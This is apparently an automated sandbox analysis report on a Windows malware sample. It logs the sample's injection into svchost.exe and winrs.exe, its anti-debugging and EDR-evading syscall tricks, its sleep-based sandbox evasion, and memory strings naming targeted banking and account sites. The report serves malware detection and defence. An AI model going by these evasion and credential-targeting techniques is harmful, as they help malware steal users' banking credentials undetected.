Source:	Binary string: wntdll.pdb source: A2028041200SD.exe, 00000000.00000003.1283531173.0000000003550000.00000004.00001000.00020000.00000000.sdmp, A2028041200SD.exe, 00000000.00000003.1285810002.0000000003740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000008.00000002.1391439293.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1391439293.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1288833673.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1290791645.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125013421.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, winrs.exe, 0000000A.00000003.1394010925.0000000002C5A000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000003.1391554853.0000000002A72000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125013421.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: winrs.pdb source: svchost.exe, 00000008.00000003.1356648780.0000000002824000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1356563813.000000000281B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1356633765.000000000281A000.00000004.00000020.00020000.00000000.sdmp, zJGHFZpQDL.exe, 00000009.00000003.1465092401.0000000000EBF000.00000004.00000001.00020000.00000000.sdmp

Source: A2028041200SD.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: A2028041200SD.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: A2028041200SD.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: A2028041200SD.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: A2028041200SD.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0090E01E LoadLibraryA,GetProcAddress,

0_2_0090E01E

Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00916B05 push ecx; ret	0_2_00916B18
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0091BDAA push edi; ret	0_2_0091BDAC
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0091BEC3 push esi; ret	0_2_0091BEC5
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_01277F23 push esp; iretd	0_2_01277F24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B4A23 push esi; retf	8_2_024B4A2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B3220 push eax; ret	8_2_024B3222
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B4A20 push esi; retf	8_2_024B4A2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024BD376 push ds; ret	8_2_024BD388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024C5BF3 push esi; retf	8_2_024C5BFE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024BA9DB push edx; retf	8_2_024BA9DC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B51D0 push es; iretd	8_2_024B51D2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024C4675 push ebp; retf	8_2_024C4688
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B161B push E588A11Fh; iretd	8_2_024B1623
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024C7F6B push ebx; iretd	8_2_024C7F71
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B87CB push es; ret	8_2_024B87CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024D3413 pushfd ; ret	8_2_024D3437
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B6415 push edx; retf	8_2_024B641C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F309AD push ecx; mov dword ptr [esp], ecx	8_2_02F309B6
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AA5C50 push es; ret	9_2_04AA5C52
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AB7DF7 push edx; retf	9_2_04AB7DF8
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AA1EA8 push esi; retf	9_2_04AA1EB3
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AA1EA5 push esi; retf	9_2_04AA1EB3
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AA7E60 push edx; retf	9_2_04AA7E61
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AA2655 push es; iretd	9_2_04AA2657
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AAA7FB push ds; ret	9_2_04AAA80D
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AA389A push edx; retf	9_2_04AA38A1
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AC0898 pushfd ; ret	9_2_04AC08BC
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AB3078 push esi; retf	9_2_04AB3083
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AB3076 push esi; retf	9_2_04AB3083
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AB1AFA push ebp; retf	9_2_04AB1B0D
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AB53F0 push ebx; iretd	9_2_04AB53F6

Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00958111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00958111
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0090EB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_0090EB42

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0091123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0091123A

Source: C:\Users\user\Desktop\A2028041200SD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\A2028041200SD.exe	API/Special instruction interceptor: Address: 12778AC
Source: C:\Windows\SysWOW64\winrs.exe	API/Special instruction interceptor: Address: 7FF8418CD324
Source: C:\Windows\SysWOW64\winrs.exe	API/Special instruction interceptor: Address: 7FF8418CD7E4
Source: C:\Windows\SysWOW64\winrs.exe	API/Special instruction interceptor: Address: 7FF8418CD944
Source: C:\Windows\SysWOW64\winrs.exe	API/Special instruction interceptor: Address: 7FF8418CD504
Source: C:\Windows\SysWOW64\winrs.exe	API/Special instruction interceptor: Address: 7FF8418CD544
Source: C:\Windows\SysWOW64\winrs.exe	API/Special instruction interceptor: Address: 7FF8418CD1E4
Source: C:\Windows\SysWOW64\winrs.exe	API/Special instruction interceptor: Address: 7FF8418D0154
Source: C:\Windows\SysWOW64\winrs.exe	API/Special instruction interceptor: Address: 7FF8418CDA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 8_2_02F7096E rdtsc

8_2_02F7096E

Source: C:\Users\user\Desktop\A2028041200SD.exe

Evaded block: after key decision

graph_0-87518

Source: C:\Users\user\Desktop\A2028041200SD.exe	API coverage: 4.5 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %

Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe TID: 8116	Thread sleep time: -65000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe TID: 8116	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe TID: 8116	Thread sleep time: -46500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe TID: 8116	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe TID: 8116	Thread sleep time: -31000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe TID: 7988	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe TID: 7988	Thread sleep time: -92000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\winrs.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\winrs.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00936CA9 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00936CA9
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_009360DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_009360DD
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_009363F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_009363F9
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0093EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0093EB60
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0093F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0093F5FA
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0093F56F FindFirstFileW,FindClose,	0_2_0093F56F
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00941B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00941B2F
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00941C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00941C8A
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00941F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00941F94

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0090DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0090DDC0

Source: -4EF4J77B.10.dr	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: -4EF4J77B.10.dr	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: -4EF4J77B.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: -4EF4J77B.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: -4EF4J77B.10.dr	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: -4EF4J77B.10.dr	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: -4EF4J77B.10.dr	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: -4EF4J77B.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: -4EF4J77B.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: -4EF4J77B.10.dr	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: -4EF4J77B.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: -4EF4J77B.10.dr	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: -4EF4J77B.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: -4EF4J77B.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: winrs.exe, 0000000A.00000002.3122304267.0000000000836000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: -4EF4J77B.10.dr	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: -4EF4J77B.10.dr	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: -4EF4J77B.10.dr	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: firefox.exe, 0000000D.00000002.1692503564.0000021577A3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: -4EF4J77B.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: -4EF4J77B.10.dr	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: -4EF4J77B.10.dr	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: -4EF4J77B.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: -4EF4J77B.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: -4EF4J77B.10.dr	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: zJGHFZpQDL.exe, 00000009.00000002.3123505923.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll.(
Source: -4EF4J77B.10.dr	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: -4EF4J77B.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: -4EF4J77B.10.dr	Binary or memory string: global block list test formVMware20,11696501413
Source: -4EF4J77B.10.dr	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: -4EF4J77B.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: -4EF4J77B.10.dr	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: -4EF4J77B.10.dr	Binary or memory string: discord.comVMware20,11696501413f
Source: -4EF4J77B.10.dr	Binary or memory string: AMC password management pageVMware20,11696501413

Source: C:\Users\user\Desktop\A2028041200SD.exe

API call chain: ExitProcess graph end node

graph_0-87198

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 8_2_02F7096E rdtsc

8_2_02F7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 8_2_024C7543 LdrLoadDll,

8_2_024C7543

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_00946AAF BlockInput,

0_2_00946AAF

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_008F3D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_008F3D19

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_00923920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

0_2_00923920

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0090E01E LoadLibraryA,GetProcAddress,

0_2_0090E01E

Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_012764E8 mov eax, dword ptr fs:[00000030h]	0_2_012764E8
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_01277B18 mov eax, dword ptr fs:[00000030h]	0_2_01277B18
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_01277B78 mov eax, dword ptr fs:[00000030h]	0_2_01277B78
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F402E1 mov eax, dword ptr fs:[00000030h]	8_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F402E1 mov eax, dword ptr fs:[00000030h]	8_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F402E1 mov eax, dword ptr fs:[00000030h]	8_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	8_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	8_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	8_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	8_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	8_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F402A0 mov eax, dword ptr fs:[00000030h]	8_2_02F402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F402A0 mov eax, dword ptr fs:[00000030h]	8_2_02F402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	8_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC62A0 mov ecx, dword ptr fs:[00000030h]	8_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	8_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	8_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	8_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	8_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6E284 mov eax, dword ptr fs:[00000030h]	8_2_02F6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6E284 mov eax, dword ptr fs:[00000030h]	8_2_02F6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB0283 mov eax, dword ptr fs:[00000030h]	8_2_02FB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB0283 mov eax, dword ptr fs:[00000030h]	8_2_02FB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB0283 mov eax, dword ptr fs:[00000030h]	8_2_02FB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274 mov eax, dword ptr fs:[00000030h]	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F34260 mov eax, dword ptr fs:[00000030h]	8_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F34260 mov eax, dword ptr fs:[00000030h]	8_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F34260 mov eax, dword ptr fs:[00000030h]	8_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2826B mov eax, dword ptr fs:[00000030h]	8_2_02F2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2A250 mov eax, dword ptr fs:[00000030h]	8_2_02F2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F36259 mov eax, dword ptr fs:[00000030h]	8_2_02F36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FEA250 mov eax, dword ptr fs:[00000030h]	8_2_02FEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FEA250 mov eax, dword ptr fs:[00000030h]	8_2_02FEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB8243 mov eax, dword ptr fs:[00000030h]	8_2_02FB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB8243 mov ecx, dword ptr fs:[00000030h]	8_2_02FB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2823B mov eax, dword ptr fs:[00000030h]	8_2_02F2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	8_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	8_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	8_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F663FF mov eax, dword ptr fs:[00000030h]	8_2_02F663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F403E9 mov eax, dword ptr fs:[00000030h]	8_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F403E9 mov eax, dword ptr fs:[00000030h]	8_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F403E9 mov eax, dword ptr fs:[00000030h]	8_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F403E9 mov eax, dword ptr fs:[00000030h]	8_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F403E9 mov eax, dword ptr fs:[00000030h]	8_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F403E9 mov eax, dword ptr fs:[00000030h]	8_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F403E9 mov eax, dword ptr fs:[00000030h]	8_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F403E9 mov eax, dword ptr fs:[00000030h]	8_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE3DB mov eax, dword ptr fs:[00000030h]	8_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE3DB mov eax, dword ptr fs:[00000030h]	8_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE3DB mov ecx, dword ptr fs:[00000030h]	8_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE3DB mov eax, dword ptr fs:[00000030h]	8_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD43D4 mov eax, dword ptr fs:[00000030h]	8_2_02FD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD43D4 mov eax, dword ptr fs:[00000030h]	8_2_02FD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FEC3CD mov eax, dword ptr fs:[00000030h]	8_2_02FEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	8_2_02F3A3C0
